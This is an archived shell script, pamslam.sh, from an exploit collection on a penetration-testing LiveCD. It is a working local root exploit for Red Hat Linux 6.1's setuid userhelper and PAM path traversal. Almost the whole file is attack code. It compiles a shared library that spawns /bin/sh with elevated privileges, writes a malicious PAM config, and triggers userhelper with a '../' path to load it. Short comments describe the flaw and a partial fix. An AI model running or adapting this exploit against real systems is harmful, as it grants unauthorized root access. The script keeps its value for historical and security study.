home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / pamslam.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  1KB  |  61 lines

  1. #!/bin/sh
  2. #
  3. # pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start
  4. # found by dildog@l0pht.com
  5. #  
  6. # synopsis:
  7. #    both 'pam' and 'userhelper' (a setuid binary that comes with the
  8. #    'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to
  9. #    _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'
  10. #    being setuid means we can get root. 
  11. #
  12. # fix: 
  13. #    No fuckin idea for a good fix. Get rid of the .. paths in userhelper 
  14. #    for a quick fix. Remember 'strcat' isn't a very good way of confining
  15. #    a path to a particular subdirectory.
  16. #
  17. # props to my mommy and daddy, cuz they made me drink my milk.
  18.  
  19. cat > _pamslam.c << EOF
  20. #include<stdlib.h>
  21. #include<unistd.h>
  22. #include<sys/types.h>
  23. void _init(void)
  24. {
  25.     setuid(geteuid());
  26.     system("/bin/sh");
  27. }
  28. EOF
  29.  
  30. echo -n .
  31.  
  32. echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf
  33. chmod 755 _pamslam.conf
  34.  
  35. echo -n .
  36.  
  37. gcc -fPIC -o _pamslam.o -c _pamslam.c
  38.  
  39. echo -n o
  40.  
  41. ld -shared -o _pamslam.so _pamslam.o
  42.  
  43. echo -n o
  44.  
  45. chmod 755 _pamslam.so
  46.  
  47. echo -n O
  48.  
  49. rm _pamslam.c
  50. rm _pamslam.o
  51.  
  52. echo O
  53.  
  54. /usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf
  55.  
  56. sleep 1s
  57.  
  58. rm _pamslam.so
  59. rm _pamslam.conf
  60.  
  61.